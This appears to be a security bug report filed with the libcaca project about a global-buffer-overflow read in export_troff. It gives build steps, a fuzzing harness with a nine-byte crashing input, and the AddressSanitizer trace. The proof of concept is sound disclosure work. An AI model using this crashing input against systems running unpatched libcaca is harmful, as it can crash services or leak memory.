[Security] global-buffer-overflow of export.c in function export_troff #54
Description
Hi libcaca Team
When I use the libfuzz test library API, I found an overflow error. Here are the steps to reproduce and my running environment
System info：
Ubuntu 20.04 : clang 10.0.0 , gcc 9.3.0
Fedora 33: clang 11.0.0 , gcc 10.2.1
libcaca version e4968ba
Verification steps：
1.Get the source code of libcaca
2.Compile the libcaca.so library
$ cd libcaca
$ ./bootstrap
$ ./configure
$ makeor
$ cd libcaca
$ ./bootstrap
$ ../configure CC="clang -O2 -fno-omit-frame-pointer -g -fsanitize=address,fuzzer-no-link -fsanitize-coverage=bb" CXX="clang++ -O2 -fno-omit-frame-pointer -g -fsanitize=address,fuzzer-no-link -fsanitize-coverage=bb"
$ make3.Create the poc_troff.cc && build
#include "config.h"
#include "caca.h"
//#include "common-image.h"
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fstream>
#include <iostream>
using namespace std;
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {
if(Size<8) return 0;
size_t len=0;
char* buffer = (char*)malloc(Size+1);
memset(buffer,0,Size);
memcpy(buffer,Data,Size);
buffer[Size]='\0';
caca_canvas_t *cv;
cv = caca_create_canvas(0,0);
for(int i=0;i<4;i++)
caca_create_frame(cv,0);
for(int i=0;i<4;i++){
caca_set_frame(cv,i);
caca_import_canvas_from_memory(cv,buffer,strlen(buffer),"");
}
void* reData = caca_export_canvas_to_memory(cv,"troff",&len);
if(reData!=NULL) free(reData);
caca_free_canvas(cv);
cv=NULL;
free(buffer);
buffer=NULL;
}
int main(int args,char* argv[]){
size_t len = 0;
unsigned char buffer[] = {0x5f,0x20,0x6f,0x75,0x6e,0x64,0x0a,0x40,0x11};
len = sizeof(buffer)/sizeof(unsigned char);
LLVMFuzzerTestOneInput((const uint8_t*)buffer,len);
printf("%d\n",sizeof(buffer)/sizeof(unsigned char));
return 0;
}
4.compile poc_troff.cc
clang++ -g poc_troff.cc -O2 -fno-omit-frame-pointer -fsanitize=address -I./caca/ -lcaca -L./caca/.libs/ -Wl,-rpath,./caca/.libs/ -o poc_troff5.Run poc_troff
asan info:
==1845916==ERROR: AddressSanitizer: global-buffer-overflow on address 0x7f28d47e8140 at pc 0x7f28d46fb799 bp 0x7ffe8c4ce450 sp 0x7ffe8c4ce448
READ of size 8 at 0x7f28d47e8140 thread T0
#0 0x7f28d46fb798 in export_troff /home/hh/Downloads/libcaca/caca/codec/export.c:1029:48
#1 0x7f28d46fb798 in caca_export_memory /home/hh/Downloads/libcaca/caca/codec/export.c:120:16
#2 0x4c6d46 in LLVMFuzzerTestOneInput /home/hh/Downloads/libcaca/poc_troff.cc:29:18
#3 0x4c6e1c in main /home/hh/Downloads/libcaca/poc_troff.cc:44:2
#4 0x7f28d414a0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#5 0x41c39d in _start (/home/hh/Downloads/libcaca/poc_troff+0x41c39d)
0x7f28d47e8140 is located 0 bytes to the right of global variable 'ansi2troff' defined in 'codec/export.c:1015:33' (0x7f28d47e80c0) of size 128
SUMMARY: AddressSanitizer: global-buffer-overflow /home/hh/Downloads/libcaca/caca/codec/export.c:1029:48 in export_troff
Shadow bytes around the buggy address:
0x0fe59a8f4fd0: 00 00 00 00 00 00 f9 f9 f9 f9 f9 f9 00 00 00 00
0x0fe59a8f4fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe59a8f4ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe59a8f5000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe59a8f5010: 00 00 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 00 00
=>0x0fe59a8f5020: 00 00 00 00 00 00 00 00[f9]f9 f9 f9 00 00 00 00
0x0fe59a8f5030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe59a8f5040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe59a8f5050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe59a8f5060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe59a8f5070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==1845916==ABORTING